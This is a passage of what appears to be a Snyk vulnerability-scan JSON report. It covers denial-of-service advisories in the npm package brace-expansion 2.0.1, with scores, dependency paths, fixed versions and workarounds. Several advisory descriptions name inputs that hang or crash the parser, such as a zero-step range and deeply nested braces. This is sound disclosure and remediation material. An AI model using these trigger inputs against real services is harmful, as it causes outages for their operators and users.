"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
